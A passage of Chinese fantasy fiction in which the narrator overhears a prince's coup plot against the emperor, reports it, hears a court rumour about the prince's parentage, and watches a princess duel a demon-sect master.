亚丁皇子冷笑道:“昨天晚上挪维基公爵的两万精锐骑兵已经抵达帝都南面的映月峰,只等六天后嘉修的七十寿诞典礼一开始就大举进军。届时朴施卡侯爵的部下会控制南门接应大军进城,再加上我们已经掌握的两万帝都御林军,足够一夜之间把圣殿城攻占。”
这时一个陌生的声音道:“我唯一担心的是万一到时候嘉修陛下没有死,我们怕要多费一番功夫。”
“你放心吧,挪维基公爵,”亚丁皇子自信的道:“嘉修死定了,他绝对活不过那晚。”
“可是那个女人会不会事到临头突然害怕反悔?”查戈问道。
“不可能,她现在唯一的生路就是听从我的命令,何况现在她还正做着成为帝国皇后的美梦呢。”
另几个人都得意的笑起来,挪维基公爵道:“她也太过天真了,像她这样的女人怎么可能配的上殿下?”
查戈哈哈一笑道:“公爵,再过几天我们大家都要改称亚丁皇子为陛下了。”
亚丁也狰狞的笑道:“那就何妨让她多得意两天?我还指望靠她嫁祸给操办庆典的欧特呢。”
朴施卡道:“殿下,圣殿骑士团方面我还是有些担心,我们未必能够稳吃他们。”
“你放心,庆典的时候奥马修必然要跟随在嘉修身边,你有足够的时间解决另外几个提督,然后掌握收编他们的兵权。挪维基的大军在天黑时就可以抵达帝都,配合你行动,如果遭遇抵抗就立杀无赦。圣殿骑士团虽然骁勇,可终究不过五千人,又是一片混乱之下战力必定大减。你到时候藉着陛下崩驾,扫除乱党的名义攻进皇宫必可成功。不要忘记了,那晚皇宫外围的卫戍部队是萧纳提督,他可以切断皇宫内外的联络。等里面的人发觉不对的时候,嘉修也该寿终正寝了。”
“殿下的计划果然周密,”挪维基公爵讚歎道:“只怕嘉修陛下到死还不明白是怎么一回事。”
“这次庆典是我们下手的最好机会,因为不仅各地的官员都入都朝贺,封疆四公和帝国各大军团的都督也尽数前来。到时只要控制住这些人,整个帝国得来必定事半功倍。”亚丁皇子徐徐说道:“圣殿虽然可怕,但我也有绝对把握对付他们,各位都不必担忧。现在,我们要做的就是仔细查核我们的计划,不能容许出现一丝破绽。同时,也要把所有可能发生的意外想周全,以免临事不及。”
接着几个人又低声谈论许久,商讨着计划的细节和各种应变措施。
终于朴施卡侯爵和挪维基公爵告辞离开,亚丁皇子却留了下来。
隔壁的书房中沉默了片刻,忽然听见查戈动情的说:“亚丁,真不敢想像,我们的梦想就快成功了。”
我一怔,查戈对亚丁皇子的称呼和口吻突然完全改变。
亚丁冷冷的叹息道:“二十年前我就对你说过,我们一定会为父亲复仇,也一定可以实现我们的梦想。”
任凭我如何的镇定自若,听了亚丁石破天惊的这句话,心中依旧不禁大吃一惊。
难道说嘉修陛下居然不是亚丁皇子的父亲?
亚丁竟然和查戈是亲生兄弟,而他们的父亲又是谁?
“可惜,父亲却看不见了。”查戈苦笑说:“虽然我是你同父异母的兄长,可是我却明白我和你的差距实在是太大了——并不是说身份地位上的距离,而是才华智慧。如果不是你这么多年认贼作父,苦心经营,我们根本不可能複仇成功。”
亚丁皇子漠然道:“三十年了,自从我知道真相的那一天开始,无时无刻不梦想着那一天的来临。如果不是母亲临死前偷偷留下的血书,我还真以为自己是嘉修的亲生儿子。哼,他是绝不会把帝位传给我这个身世不明的儿子,即使欧特再无能,他还有马斯廷那个小子可以指望。所以,我只有先下手了,不仅要杀死他,还要连他的江山一起夺走。”
“可是你真有把握扫平帝国么,万一有人顽抗怎么办?”查戈有些疑虑的问道。
“不要忘了,只要我们行动一成功,挪维基公爵的大军就会从南方开进;而比亚雷尔的考兰也会率军西进,佔领金沙公爵的领地。各地群龙无首之下,根本抵挡不住我的铁骑。”
考兰,我的眼中射出一缕寒光。
看来比亚雷尔的内乱也是亚丁皇子一手策划的阴谋,不过他也绝对不会料想到正因如此才会春风化雨的造就出我这个修岚公爵。
当然,由此也印证了马斯廷皇子所言,而黑旗团之所以要截杀我如今看来也顺理成章。
“那么圣殿呢?你真打算尽起本宗高手与圣殿决战?”
“我怎么可能干这么愚蠢的事情?圣殿号称人类圣道的守卫者,岂是浪得虚名?即使山宗高手全部出动,也绝对不是圣殿的对手。所以我不会暴露山宗的实力,只用大军围困水镜湖,逼圣殿谈判。”
“他们会妥协吗?”
“他们会的,”亚丁皇子冷笑道:“欧特皇子和马斯廷皇子那个时候已经死于乱军之中,他们唯一可以拥立的就是我。只要我答应保全他们一些特权,不怕圣殿不低头。”
查戈兴奋的道:“倘若圣殿也不得不向你低头,整个帝国我们还怕什么人?不仅蒙思顿将为我们所有,就是魔门的中兴一统也指日可待!”
我不禁微微在黑暗中冷笑,看来亚丁皇子必然是山宗的极重要人物,甚至就是山宗的宗主,否则查戈是不会说出此等话来。
亚丁皇子道:“查戈,等我成为蒙思顿之主以后绝对亏待不了你。不要说我们是同父异母的亲兄弟,只是这些年你为了我们的计划苦心经营,到处奔走,这份功劳就足以担当。”
查戈哈哈一笑道:“我不过是跑跑腿而已,只要你记着有我这么一个不成器的兄长就足够了。另外,就是千万要把修岚交给我,不亲手宰了他,我决不罢休。”
“你放心,他跑不了。”亚丁皇子冷笑道:“失去了嘉修这座靠山,他惟有任人宰割的份。我还要赶回帝都,你再多忍几天,千万不要到处乱跑。”
我心中重重哼了一声。
“我明白,我送你出去吧。”
“你带上那个侍女的尸体,先跟我出去把她处理掉。对外面我会遮掩妥当。”
“好!”
外面响起亚丁皇子和查戈细微的脚步声,直至寂静无声。
我和安姬思小心翼翼的揭开油布从酒桶后站立起来,各自轻轻鬆了口气。
没有想到,为了追杀查戈居然知悉了这样惊人的秘密。
亚丁皇子是我抵达帝都后唯一没有正面接触的人,比起欧特和马斯廷他的确低调许多。然而,往往表面越是低调的人,反而越加的可怕。
我和安姬思对视一眼,从彼此的目光中找到默契,悄然离开密室,回到山下。
此刻杀死查戈已经不是首要的事情,我必须阻止亚丁皇子的阴谋得逞——正如他说的那样,倘若嘉修陛下在庆典中发生意外,我在蒙思顿的宫廷中将再无立锥之地。
至于安姬思关心的显然是另外一件事情,或许对于她和天宗而言,谁成为帝国的皇帝都无所谓,但是绝对不能是山宗或者海宗的人——否则,天宗的日子只会比现在更加难过。
“修岚公爵,您打算怎么做?”安姬思凝视我问道,中午的秋阳温暖的撒在她修长娇美的身上,却依旧令人感觉到彷彿是从她骨髓里透露出的寒冷和神秘。
“你说呢?”我漠然反问。
她向我点点头,徐徐道:“只要公爵需要,天宗将会竭尽全力在暗中提供帮助,必要时候我甚至可以请出本宗的两位护法。”
基于共同的利害关係,我与她在这一刻达成了联盟。
果然,安姬思作为魔门天宗的宗主,绝不能容忍山宗控制蒙思顿的宫廷。而她现在最好的选择,就是和我合作。
我微微一笑说:“希望我们能够合作愉快,安姬思宗主。”
安姬思道:“今后我们之间的联繫就由嘉奈莉负责,她是我们天宗的四位圣女之一,忠诚方面不会有任何问题。”
我眼前忽然浮现起嘉奈莉美妙冷豔的胴体,点头道:“以她的身份,应该是最稳妥的了。”
我们又商量交换了一些细节,眼看快到下午,我与她匆匆分手赶往水镜湖。
一场突如其来的宫廷争斗即将揭开帷幕,而我的心中不仅没有紧张,反而充满兴奋和冷静。
蒙思顿,我会让你从鲜血和死亡中得到永生。
迟早有一天,夕兰大陆也将成为我的奴僕。
而亚丁皇子的叛乱,只不过是为这一切在无意中拉开一道暗黑之门的缝隙——
第四章往事沉钩
蓝天如镜,云絮飘渺。
晴空下的水镜湖一如往昔的宁静美丽,和风吹拂过水面泛起微微涟漪,偶尔的水鸟飞过,更增雅緻。
嘉修陛下怡然自得坐在一片绿荫下,聚精会神的凝视湖面上的浮标。
我默默在他身边坐下,取出渔具。
“你迟到很久,这么多年来我还是第一次等别人这么久。”嘉修陛下目不转睛望着水面淡淡道:“不过,我知道像你这样的人绝对不会忘记时间观念,你一定是被重要的事情耽搁了,对么?”
我扫了眼身后不远处的侍从官,微笑道:“的确是有些事情发生,我想陛下一定也会感兴趣。”
“哦?”嘉修陛下望了我一眼,立刻明白我的意思,伸手朝后轻轻一晃,得到示意的侍从官恭身退到二十多米外的金甲卫士旁。
“我找到了查戈,一个原本大家都以为不存在了的人。”
嘉修声色不动,轻轻问道:“在哪里,你杀死他了么?”
“没有,因为现在他活着比死了价值更大。”我回答道:“我是在亚丁皇子的别府密室中找到的他,不过查戈并没有发觉我。”
“亚丁?”
嘉修陛下的眼睛微微闭起,却从那道缝隙中射出一缕莫测高深的精光。
“更加有趣的是,我正巧听见了亚丁皇子和查戈等人的一次密谈,涉及的内容全部是关于六天后陛下的庆典。”
我徐徐将密室所闻说出,当然隐去了安姬思的存在和亚丁皇子身世的一段。我不至于愚蠢到将这些宫廷丑闻拿到嘉修陛下面前卖弄,给自己种下不必要的祸根。
我只需要把关键的信息透露给嘉修陛下就足够了,其他的疑问他自然有方法求证探察。
嘉修陛下默然听完,从头到尾没有半句打断。
天高云淡。
和风徐拂。
嘉修陛下的表情出奇镇定,就彷佛我说的一切都已在他的意料中。但是,我却注意到他垂入湖中的钓线在微微颤抖。
“我相信你说的都是事实,修岚。”
“哦?”
“在蒙思顿,任何人的一举一动都休想逃过我的耳目。有人以为我已经老朽,其实我心中永远比所有人都清楚。”嘉修陛下油然道:“亚丁未免太小看我这个父亲,关于他丝毫的风吹草动,我只要愿意便可在第一时间得知。他在映月峰藏匿20000骑兵早已有人向我密报,只不过我暂作不知罢了。至于他和考兰、朴施卡还有其他一些宫廷重臣的往来,我同样了然于心。只要他敢妄动一步,便只有一个下场,即便他是我的亲生之子!”
我没有开口,也没有对他的话语感到惊讶——倘若嘉修陛下对于亚丁皇子的异动毫不知情,他就根本不可能在帝国的皇位上坐到现在。
我只是不知道,他的心中到底对这件事情了解多少?
沉寂许久以后,嘉修陛下缓缓说到:“我只是没有想到亚丁的心这么急,几乎一刻也不愿意多等,居然真的想杀死我取而代之。”
他的唇角边泛起一丝冷笑道:“我没有看走眼,他的确比欧特和马斯廷都有魄力,有野心的多,不愧是我嘉修的儿子。”
我不禁想起查戈与亚丁的对话,难道嘉修陛下果真对此毫无所知?
“陛下似乎并没有太多意外?”
嘉修陛下的嘴角逸出一丝微笑道:“经历过太多的意外,现在什么也不能令我吃惊。
我不过有点惋惜而已,替亚丁惋惜。在所有皇子中我最器重的其实就是他,可是他终究还是要背叛我,不愿等到我离开这个世界的一天。 ”
亚丁是嘉修陛下最器重的皇子?
我从嘉修陛下的语气中隐约听出他内心的隐秘——或许在他的计划里,这个自己坐了几十年的皇位最终的传承者不是获得圣殿支持的欧特皇子,不是交游广阔,口碑最好的马斯廷皇子,而是素来沉默寡言,不被人们看好的亚丁皇子。
如果亚丁皇子明白是这样,他还会不会生起谋反之心?
我丝毫不相信他的叛乱仅仅为了复仇,否则他早有无数机会可以刺杀嘉修陛下。
那显然是一个自欺欺人的藉口罢了。
我默然注视嘉修陛下,忽然从他的神色中发现了前所未有的东西。
是伤感失望?
是惆怅缅怀?
我蓦然第一次感觉到我面前的嘉修陛下不再是那个叱咤风云的王者,而只是一个老人,一个寂寞孤独的老人。
王者都是寂寞的。
他却终究还没有习惯这样的寂寞。我看见了他眼睛深处的情感,也看见了他剎那间的脆弱。
原来即使强如嘉修陛下者也摆脱不去人类情感的束缚,然而奇怪的是我却没有对他产生丝毫的不屑和蔑视,仅仅觉得有些怜悯。
这是我第一次产生这么一种情绪,怜悯一个人。
怜悯一个纵横夕兰大陆的王者。
但是,嘉修陛下的这种神情只是在转瞬便消失得无影无踪,取而代之的是我熟悉的那张坚毅镇定的面容。
他的鼻子轻轻哼道:“也好,就让我在六天后作一个了断。太多的和平岁月,几乎让我忘记了杀戮的滋味,如今它又要回来了。”
我沉默的看着他,鼻子中彷彿闻到一股血腥的味道。
这也是我喜欢的滋味。
然后他便不再开口,聚精会神的继续钓鱼,好像是什么也未曾发生过一样。
我同样不再说话,也没有追问他準备如何应对亚丁皇子的叛乱。
我知道,他现在一定是在思考,一个人默默的思考。
这天下午,我与他垂钓到傍晚,没有人再来打扰。
不过,他的鱼篓里始终空空如也——他没有钓到一尾大鱼。
或许,他是在等待那条更大的鱼。
回到叠翠苑天色已经全黑。
有一段时间没有露面的金沙公爵不速而来,当然身后少不了跟着德博。
我们在书房里坐下,金沙公爵首先开口道:“我是专程来请你赴宴的,修岚公爵。”
我接过请贴看了眼,淡淡道:“是你做东?”
金沙公爵道:“难得来次帝都,一些朋友故交总要应酬一下。”
“你也有邀请欧特皇子吧?”
金沙公爵微微尴尬望着我道:“我是希望藉这样一个机会为你和欧特殿下调解,其实你们之间并没有什么大不了的事情。”
我冷哼一声道:“我的事情不必公爵如此费心,反而我想告诉你另外一件事情。”
“什么?”
我双目凝视金沙公爵,沉声道:“那晚在路上伏击我们的刺客就是欧特皇子的人,亚丁和马斯廷不过是为欧特背了黑锅。他这么做的用意不需我说,公爵你也应该明白。”
金沙公爵剧震道:“不可能!”
我冷笑道:“我没有必要骗你,信与不信也由你。”
金沙公爵的神色阴晴不定,终于长叹一声颓然坐倒在椅子里。
德博疑惑的道:“不可能吧,欧特殿下没有理由这么做?”
我没好气的道:“你为什么不想想,刺杀金沙公爵唯一能够得益的人是谁?”
德博低头苦思,蓦然“啊”的一声抬起头望向金沙公爵,显然也以明白其中的玄机。
金沙公爵面色沉静,缓缓道:“修岚公爵,并非我不相信你所说的话,但这件事情牵涉太大,我现在不能妄下定论。”
我心中冷笑,他的言下之意似乎是在指摘我道听途说,胡乱猜测。但是我没有必要和他争执,目的其实已经达到——至少他不会像以前那样毫无保留的信任欧特皇子。
我漠然道:“明晚的酒宴我不会出席,以免和欧特皇子在席间引起不快,令你难堪。
如果你想验证我刚才的话,可以想法撬开舒葛特的嘴巴,这条计策应该就是他想出来的。 ”
金沙公爵的神色中好像又多信了一分,点头道:“我会记住你的提醒。谢谢你,修岚公爵。”
“再有,查戈并没有死在戈壁里,他如今已经悄悄抵达帝都,就隐藏在亚丁皇子在圣殿城郊外的别府里,这是我今天上午亲眼所见。”
“什么?”德博大吃一惊叫道:“这个家伙居然没有死?”
我哼了一声,没有说话。
金沙公爵却面色沉重的道:“你是说他在亚丁殿下的别府中躲藏?”
短短的工夫里,我一连告诉他两个难以令人置信的消息,也难怪他现在脸色不佳。
我回答道:“这件事情目前极为隐秘,你们都绝不可对任何人说起,因为他牵涉到更加重要的机密。”
德博喃喃道:“看来,查戈果然是亚丁殿下的人,在背后跟我们作对的人也一定是他。”
“亚丁殿下——”金沙公爵忽然怅怅的出了口气,徐徐说道:“你们知道为什么我一直不赞成亚丁皇子继承陛下百年后的帝位?”
德博不解的道:“不是因为欧特殿下才是陛下的长子么?”
金沙公爵苦笑道:“这只是表面上的一个原因,亚丁殿下和马斯廷殿下是不同的。马斯廷殿下的生母不过是陛下的一个侧妃,但亚丁殿下和欧特殿下却同为皇后亲生,是陛下的正统血脉。按照道理,由亚丁殿下将来继承皇位也无不可,可是这当中却牵涉到一个埋藏了数十年的皇室秘闻。”
我的心头一动,难道金沙公爵也知道关于亚丁皇子的真正身世?
如果是这样,嘉修陛下就更加应该明了才对,为什么他下午的表情却像一无所知?
更何况,倘若嘉修陛下确信亚丁并非他所亲生,怎么肯纵容他在皇子的位子上一坐数十年,甚至想将帝位传承予他?
除非,嘉修陛下在我面前的言语和神情都是在故意演戏,不过若真是这样也绝对不会逃过我的眼睛。
要知道,当他得知亚丁準备谋反暗害他时候流露出的眼神是无论如何也假装不来。
蒙思顿,比我想像中更加有趣的地方,似乎每天都有精彩的故事在发生。
皇室、圣殿、魔宗、封疆四公、圣殿骑士团还有黑旗团等等,所有的势力错综複杂相互交织,就如安德赫特长老说的那样维持着微妙的平衡。
便宛如那水上的浮桥。
而我却预感到,这样的平衡脆弱无比,很快就将被打破。
不是我,是人类无止境的慾望和野心。
而我,不过是推波助澜,藉以实现我的宿命而已。
我沉声说道:“是不是有关亚丁皇子的身世?”
金沙公爵诧异的望我一眼道:“原来你也听说过?”
我没有回答,而是问道:“为什么嘉修陛下似乎对此毫不知情?”
金沙公爵摇头道:“不,也许他心中比我们任何人知道的都清楚。”
德博好奇的道:“修岚公爵,父亲,你们两个在说什么,为什么我一点也听不明白?”
金沙公爵下意识的看了眼合上的屋门,犹豫一下才低声说道:“这是四十年来帝国从未有人敢提及的皇室秘闻,却无时无刻不在影响着蒙思顿未来君主的选择。好在我们都是一家人,藉着今天这个机会我不妨把我知道的告诉你们,以免将来不小心被捲入其中。”
他深深吸口气,声音更低道:“四十年来,自从亚丁皇子出生那天起皇宫中就一直流传着一个鲜为人知的故事。但是没有人能够应证它的真实性,因为当时的知情者由于各种各样的原因现在都已不在人世。我所知道的,也都是从别人口中道听途说而来。”
他未曾叙述秘闻,先罗嗦了一大段废话,却是深有用意——将关于亚丁皇子身世的秘闻全部归结于道听途说,无从验证,即使今晚的话传出去他也一样可以撇清干係。
“四十年前麦莉雅皇后不幸病逝,留下了只有五岁的哈米甘殿下、三岁的欧特殿下和刚刚出生一个月的亚丁殿下。这件事情令帝国宫廷悲痛不已,因为皇后为人宽恕贤惠,深得众臣爱戴。可是不知从什么时候开始,私底下却有一种谣言象瘟疫一般悄悄在宫廷里传播。”
“什么谣言?”德博的好奇心进一步被勾起,半个身体探到金沙公爵的身上问道。
金沙公爵的声音低沉有力:“麦莉雅皇后是自杀而死,因为她爱上了当时的圣殿骑士团团长,号称'帝国之虎'的圣骑士蒙托亚将军。而蒙托亚将军却在九个月前神秘失踪,皇后怀疑他已被陛下秘密的处决。”
“什么?!”德博难以遏制心头莫名的惊骇,失声叫道。
金沙公爵不满的瞪他道:“叫什么?这也不过是传闻而已。”
德博吸了口冷气道:“那岂不是说亚丁殿下可能是——”
他不敢再说下去,可是我和金沙公爵都已明白下面的意思。
这样的事情如果发生在普通平民的家中自然毫不希奇,可当事人的一方却是万人景仰的帝国皇后,母仪天下的一个美丽女人,影响与后果可想而知。
金沙公爵点点头道:“就是从这个时候开始,人们私下传说早在一年多前蒙托亚将军就和皇后发生了私情,只是一个是皇宫中的女主人,而另一个是皇宫的最高守护者,这段私情才长时间被埋藏。可纸终究包不住火,陛下终于还是知道了麦莉雅皇后和蒙托亚将军之间的事情,震怒之下秘密处决了蒙托亚,又将皇后打入冷宫。而当时知情的侍女侍卫也被一一灭口,以避免丑事外洋扬。那个时候,皇后已经怀孕,陛下却无法判断这个婴儿究竟是自己的还是蒙托亚将军的,由此成为一段悬案。”
“这个婴儿就是后来的亚丁殿下?”德博问道,声音不由自主的微微战抖。
金沙公爵哼道:“现在你们应该明白为什么我会支持欧特殿下了,无论怎么说他都肯定是陛下和皇后的正统血脉,因为欧特殿下出生的时候蒙托亚将军还没有进宫。”
德博道:“那个蒙托亚将军好大的胆子,居然连麦莉雅皇后的主意都敢打。”、语气中不知道是羡慕崇拜还是嫉妒痛恨?
金沙公爵叹息道:“据说早年麦莉雅皇后与蒙托亚将军本是青梅竹马的伴侣,蒙托亚将军正因为麦莉雅皇后才会加入圣殿,最后费尽心计成为圣殿骑士团团长得以入宫。”
德博忍不住感叹道:“想不到这位蒙托亚将军还真是一个癡情男人,只是陛下这么做未免有点不近人情。”
金沙公爵呵斥道:“胡说什么?这些都是传闻,你怎么可以当真?即便是真有这样的事情也已经过了四十多年,中间的曲直又有谁可以妄加评论?”
德博颇不服气,刚想开口顶嘴,却蓦然听见窗外有人微笑道:“真是没有想到,堂堂的金沙公爵也会在背后散布这些谣言,你们就不怕陛下知道么?”
我心中一惊,已经知道窗外的人是谁。
第五章剑挑山宗
窗外月色迷濛,花香徐来。
却不见伊人的踪影。
金沙公爵目中寒光乍现,凝聚灵觉四下查寻却一无所获,冷然喝道:“什么人?”
暗处那人轻声笑道:“修岚公爵,你何妨出来一见?”
我冷哼一声,朝金沙公爵与德博交代道:“不要紧,她是来找我的。”
我飞身飘出窗外,一道湖兰色的丽影依稀在花丛里一闪而没。
我的灵觉牢牢锁定住她,身形犹如巨鹰般滑过窗外的花园,向她消失的方向追踪而去。
倏忽间一前一后两道身影飞速穿越叠翠苑,沿着林荫山道直抵山脚的小树林边。
她蓦然停下,微微一笑回过身来。
镜月公主。
俏生生玉立在夜风中,宛如画里凌波的仙子。
令这夜彷彿也黯然失色。
“镜月公主,”我也停下脚步,伫立在数米之外冷冷道。
她淡然自若的道:“对不起,一不小心听见了你们的谈话。不过我也绝非有意,请修岚公爵见谅。”
我哼了声道:“原来堂堂的公主也会学人偷听壁角。”
镜月公主微笑道:“这样的事情修岚公爵今天早上不是才做过么?”
我的眼中精光一闪,射向她被轻莎遮掩的玉容。
她若无其事的轻拢鬓角旁被夜风吹乱的秀发,悠然道:“修岚公爵不是想多知道些关于亚丁殿下和查戈的身世么,不如先陪镜月去一个地方,再让我慢慢告诉你。”
“去哪里?”
她娇笑道:“什么时候修岚公爵也这么多问起来?”
我哼了一声,没有说话。
镜月公主飘然举步道:“我只是要去拜访一位老朋友,希望修岚公爵在旁也好令他客气一些。”
我的心头一动,联想到她刚才所言,莫非是嘉修陛下和圣殿已经开始向亚丁皇子下手?
入夜的圣殿城依旧喧闹繁华,街道上熙熙攘攘的人群穿流而过。
我默然走在她的身旁,却发觉所有人的目光都不时朝我们望来。
走在人群中的我们,宛如一对神仙璧人,可有谁知道我们之间的关係却无比的微妙?
她偶尔会停下来拿起路边摊上的小玩意儿把玩,眼睛里闪烁着美丽的光彩。
这个时候,她丝毫不像一名天之娇女,却和普通的邻家少女相仿。
“大叔,这个要多少钱?”
镜月公主拿起一架小小的用彩纸製作的风车,问道。
那个中年商贩受宠若惊的道:“如果小姐喜欢,两枚铜币拿去好了。”
镜月公主微微一笑,取出钱来交在商贩手中,然后抿起樱唇轻轻朝风车呼出一口香气。
风车的叶轮轻盈转动。
她聚精会神的凝视着风车,模样娇憨可爱至极。
我也不由怦然心动。
第一次,在我心底产生了要佔有这个少女的慾望。
她朝我嫣然一笑道:“小时候我最爱玩的就是父亲亲手製作的风车,比这个要大许多哩。”
不知道为什么,我的心彷彿沉浸在温暖的泉水里,分享到她无忧无虑的澄净思绪。
还有,那一缕对父亲的淡淡怀念。
她的娇躯微微一颤,秋波凝望在我的脸上。
我们谁都没有说话,却忽然觉得彼此的心灵在剎那间有了奇妙的沟通。
街道上的人都已消失。
这刻我恍然入梦。
蓦然心底一股冰冷的寒流升起,依稀又是那个嘶哑的嗓音在吶喊道:“不要相信她,修岚。不要被她的美丽迷惑,她只是要利用你。如果对她动了真情,你将无法实现自己的宿命,无法得到期望的永生——”
是这样的么?
我微微感觉迷惘,迎面是她清澈纯真的眼神,心底里却有另一个奇怪的声音在吶喊。
“你究竟是谁,为什么不敢出来?”我在心中愤怒的呼喝。
“我在你心底,我是你的影子,修岚。”
“出来!”
我的眼中闪现一道杀机,脱口低喝。
不管他是谁,我都无法容受这样一个幽灵般跟随我的声音。
“相信我,修岚。不要沉沦,不要堕落——”
“你怎么了?”
镜月公主察觉我的异常,有些诧异的问道。
她的声音柔和而宁静,令我的神誌一清。我深深吸了口气,平复自己的情绪,低声道:“没有什么,我们走吧。”
她点点头,与我并肩离开。
那个声音不再响起,好似再次的沉睡。
我们走出热闹的街道,却拐进了一条僻静的小巷。
我的心头泛起熟悉的感觉,想起那晚就是在这条巷子的另一头遇见了马斯廷皇子的车队。
“修岚公爵认出这儿了?”镜月公主道:“我要拜访的那位老朋友正是住在上回我们到过的宅邸中。”
她走上小巷边的台阶,用手扣动门环扬声问道:“请问,里面有人么?”
宅邸的黑漆大门吱呀一声徐徐开启,里面空旷的院落里却空无一人。
镜月公主回头朝我微笑道:“主人已经开门,我们进去吧。”
我跟在她身后,迈步走入院落。
一股森寒的杀气立刻随风拂来,我体内的黑暗能量瞬间觉醒,兴奋的呼啸。
明月在天,院中却异常昏暗。
没有一丝的声响,只有风在动。
我却察觉到在黑暗中,有数十道满怀敌意的目光悄悄注视着我们,身上散发着凌厉冰冷的杀机。
看来,她的朋友对我们并不友好。
然而,上一次我却清楚记得这个院落中除了我与镜月公主再无其他人。
他们是谁,为什么突然出现在这里?
或许谜底很快就要揭晓。
镜月公主彷彿毫无知察,悠然走到院落中央,用她动听悠扬的声音道:“镜月来访,却为什么不见主人露面?”
正对院落的客厅里响起一个苍老低沉的声音道:“我不过是一个普通的比亚雷尔落魄贵族,怎么敢当帝国公主的亲自光临?”
我不禁一警,如果不是里面的人开口,以我的灵觉竟也无法感应到他的存在。
镜月公主却似早有预料,回应道:“莫怪镜月无礼,山宗两大护法之一的锡瓦魔师大驾莅临帝都,我怎么可以不登门拜望?”
原来如此。
嘉修陛下果真开始动手,而拔除的第一个目标就是山宗。
虽然他们的人数不会太多,但无一不是拥有强大实力的魔武士,倘若在帝都捣起乱来也颇为令人头疼。
何况,魔门是圣殿的死敌,以镜月公主的身份出面解决也绝对不会引起亚丁皇子的怀疑。
而我,则是被他们一步步拖入其中。
唯一不能确定的就是这次行动是嘉修陛下的旨意还是圣殿的意思,或者是镜月公主自己的决策?
但在魔门和亚丁皇子的叛乱面前,这三者已经浑然一体。
一名黑衣白髮的老者倏忽出现在客厅门前,他双手负后冷傲的注视镜月公主,全身隐隐流动着霸道无伦的气势却偏偏让人感觉那么自然与和谐,犹如与身后的黑夜溶为一体。
在他惊人的气势刺激下我的暗黑能量迅速提高到颠峰,身上的衣襟轻轻捲动。
如果换一个差些的人,仅仅站在他面前支撑不退已是难得,那股沛然莫御的气度足以教人心神失守。
魔师锡瓦。
传说中在五十年前横扫天宗的雄飞人物,如果最后不是圣殿宫宫主亲自出面,或许帝都也被他闹得天翻地覆。
没有想到,我居然会在这儿遇上他。
也许这就是镜月公主的有心安排。
他枯乾黝黑的面容上不带丝毫感情,冷冷道:“为什么不是你师傅前来?”
“莫非锡瓦魔师觉得以您的身份与镜月说话会有所辱没?”
“哼,圣殿出来的人果然个个伶牙利齿。不过你不用得意,若非我存心住在这儿,又哪轮你们找到我的头上?”
他的语气虽然平淡,却流露出一种天下之大任我横行的桀骜霸气,彷彿根本不将镜月公主看在眼里。
“正因为如此,圣殿才会让我前来拜望您,向魔师您问安。”
“圣殿有如此好心么,不必了。”
镜月公主微笑道:“魔师莅临帝都,不知有何贵事,镜月是否帮的上忙呢?”
锡瓦魔师冷笑道:“你说话何必拐弯抹角,不如直说来意吧。”
“再有几天便是嘉修陛下的七十寿辰,我希望在此期间魔师能够约束山宗的人不要惹是生非,圣殿也绝不主动来叨扰。”
锡瓦魔师深褐色的眼睛里射出一道精光,虽然目标是镜月公主,我却同样感受到了目光中强大的压力和霸气。
当然,我不会有丝毫的退缩,反而不动声色的回望锡瓦魔师,脸上挂着若无其事的神情。
“你敢要挟我?”
“镜月不敢,”镜月公主不卑不吭的道:“只要魔师答应,镜月立刻拍手便走,只当什么事也没发生过。”
“若是我不答应呢?”
镜月公主轻轻叹息道:“魔师不要为难镜月好不好,如果魔师有兴致镜月愿意陪魔师用六天工夫游遍帝都附近的秀丽山水,甚至欢迎魔师到圣殿岛作客。”
锡瓦魔师嘿嘿笑道:“我只怕上了圣殿岛就再也出不来。”
“魔师多心了,镜月愿意用性命担保。”
“能有蒙思顿第一美女做伴同游确是人生一大乐事,可惜我不想被人以为屈服在圣殿的美色阴谋之中。而圣殿,也不想担此恶名吧?”
镜月公主微微失望道:“以魔师胸襟怎么会做此想?莫说镜月,即便魔师您自己可是这等的人么?”
锡瓦魔师漠然道:“你不是我,又怎么知道我的为人居心?不必多说了,若想叫我离开圣殿城,你就放马过来吧。”
两个人的话语各自含带机锋,不亚于一场激烈的对决。
表面看来镜月公主处处退让,而锡瓦魔师则步步紧逼,但在我眼中却恰恰相反。
短短的数句对话,镜月公主不温不火却迫的锡瓦魔师首先发难,挑起烽烟。
其实,这正是镜月公主的目的所在。
如果她一上来就咄咄逼人,一方面会惹起我的反感,另一方面也会影响到自己的心境。
要知道圣道与魔门不同,他们的心境讲求容让谦和,绵里藏针,暗合所谓的王道之法。像那日的安德赫特贤者也莫不如此,而区利南显然落入下乘,正因如此我才毫不畏惧于他。
相反,对于自始至终悠然从容的安德赫特贤者我却心存戒备,莫测高深。
这个锡瓦魔师毕竟逊色了一筹。
眼看谈判破裂,镜月公主轻轻叹息道:“魔师何苦为难镜月,难道这样一个承诺对您真的很困难么?”
锡瓦魔师嘿然笑道:“你来不就是想赶我走么,出剑吧,让我看看号称圣殿最杰出传人的镜月公主是否浪得虚名?”
蓦然间,周围的空气彷彿一下子被压缩起来,变的凝固沉重。
一股排山倒海般的杀气迎面扑来,令人感觉几乎窒息。
锡瓦魔师伫立在原地纹丝不动,宽大的衣襟却已猎猎鼓荡,双目迸射出骇人神光。
我悠然退出十米开外,站在了院落的大门前。
锡瓦魔师神色一动,锐利的目光从我脸上,宛如一股寒风刮过。
在锡瓦魔师的方圆十米内已经完全被他的杀气笼罩,寻常的人连站稳都是问题。而我却说退便退,毫无拖泥带水,不由得他不刮目相看。
当然,这也是因为他的精神锁定在镜月公主身上,因此我所受的压力大大减少,否则亦不可能这般从容。
对于我的抽身而退镜月公主没有一丝惊讶,她似乎早就预料到我不会主动捲入圣殿与魔门的争斗,即使是山宗。
在锡瓦魔师强大的杀气压迫中,她宛如一株淡雅幽致的百合,翩翩摇曳在疾风中。
狂风骤起。
锡瓦魔师庞大的身影突然不见,就彷佛从空气中蒸发一般。
——山宗的绝技“匿影遁形”。
只此一招就足以令无数圣道魔门的高手望尘莫及,自叹弗如。
镜月公主屹立不动,疾风飞卷她的秀发,好似随时会随风飞去。
她清澈的明眸半睁半阖,丝毫不为眼前的幻象迷惑,依靠敏锐的灵觉在夜色中紧紧锁住锡瓦魔师的气息。
“铿!”
锡瓦魔师蓦然出现在镜月公主的背后,右爪笼罩着一团隐隐的黑雾插向她的背心。
镜月公主头也不回,仅凭灵觉抬手出剑。
水系圣剑“流金”,在黑夜里乍然焕起一道淡金色的光芒,绚烂如暮色中的海波。
以锡瓦魔师之强横也不敢直撄其锋,身形如风轮急速转动,闪到镜月公主的右侧。
